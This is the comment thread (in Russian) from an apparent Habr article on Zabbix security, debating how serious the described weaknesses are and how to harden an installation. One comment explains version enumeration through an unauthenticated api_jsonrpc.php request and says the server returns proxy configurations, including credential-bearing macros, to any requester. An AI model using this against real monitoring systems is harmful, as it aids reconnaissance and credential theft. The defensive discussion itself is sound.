                  Необходимо отметить, что параметр EnableRemoteCommands по умолчанию закомментирован (про другие параметры, кстати, явно указано, какое состояние по умолчанию) и находится в состоянии disabled. И очень у многих, опять же из своих наблюдений, он и находится в таком состоянии. Все таки, речь о системе мониторинга, а не о системе управлении конфигурациями итп. Чтобы изменить этот параметр нужно уже использовать уязвимости соответствующие на ОС где установлены агенты.
                  Подобным образом можно и дальше искать изъяны по тексту статьи.

                  В общем, за статью огромное спасибо — основной посыл ясен, статья полезна последним разделом о том, что делать чтобы было безопасней. Но все что выше — напоминает «статью ради статьи». В той же статье про безопасность Nagios не было так много за уши притянутых если.

                  Все таки, любые системы типа Ansible/Puppet/Chef несут, при подобном подходе, сильно большую угрозу для инфраструктуры, чем система мониторинга.

                  Так же, в защиту Zabbix — не могу промолчать и не отметить, что ребята очень плотно задумываются о безопасности и с каждой новой версией прикручивают все больше и больше плюшек, повышающих общей уровень безопасности их продукта (аутентификация с помощью доменных учеток и взаимодействие с каталогом по LDAPs, шифрование между агентом и сервером (при том предлагают использовать на выбор несколько библиотек, дабы не замыкаться на одной в случае обнаружения в ней каких либо уязвимостей), SNMPv3 с полным фаршем в виде аутентификации и шифрования, возможность аудита действий пользователя итд итп. + не стоит забывать все таки про прямые руки админа, который грамотно использует возможности SELinux на сервере и *nix агентах, настраивает на вебсервере https, просматривает аудит действий пользователя или же прикручивает к системе мониторинга какую либо SIEM систему итд.)

                  Но, еще раз, благодарю за статью.
                    0
                    Скорее всего, это и есть сервер. Но это не точно :)

                    Конечно не точно, это может быть Zabbix прокси.
                    Не зная логина и пароля, это можно сделать, отпарсив исходный код страницы 192.168.56.102/zabbix/index.php

                    Не зная логина и пароля можно по линку 192.168.56.102/zabbix/api_jsonrpc.php отправить POST-запрос:
                    {
                        "jsonrpc": "2.0",
                        "method": "apiinfo.version",
                        "params": [],
                        "id": 1
                    }
                    

                    просто дописав строку Timeout=30 в конец файла zabbix_agentd.conf

                    после этих манипуляций надо агента перезапустить. После перезапуска придет оповещение, если конечно все оповещения не будут отключены.
                    На инсталляциях с использованием Zabbix прокси, можно у Zabbix сервера запросить конфигурацию прокси и он отдаст ее любому запросившему, независимо от того с какого компьютера был отправлен запрос. В ответе будет абсолютно все, что мониторится через эту проксю, а так же все локальные (специфичные для конкретного хоста) и глобальные макросы, в которые часто прописывают логины/пароли.
                    Использование https не спасет от прослушивания трафика между сервером, прокси и агентом. Здесь спасет RSA или PSK, но управление сертификатами для агентов и прокси это еще то удовольствие. Использование CRL в Zabbix убивает все желание использовать RSA из-за необходимости перезапуска сервера/прокси/агента для того, что бы они перечитали список отозванных сертификатов. PSK в открытом виде можно посмотреть в web-интерфейсе.
                    Так что сделать Zabbix «не дырявым», в случае большой инфраструктуры, это титаническая работа.
                    Использование SELinux накладывает множество ограничений и под каждый UserParameters необходимо пилить свои правила. Так что если у Вас 10 серверов, то реально, а вот если 1000 или 15000, или еще больше, не вариант.
                      0
                      Проблема будет решена, если не передавать чувствительные данные через систему мониторинга и не хранить их в ней?
                      Например, не хранить в ней логины/пароли.

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                    Самое читаемое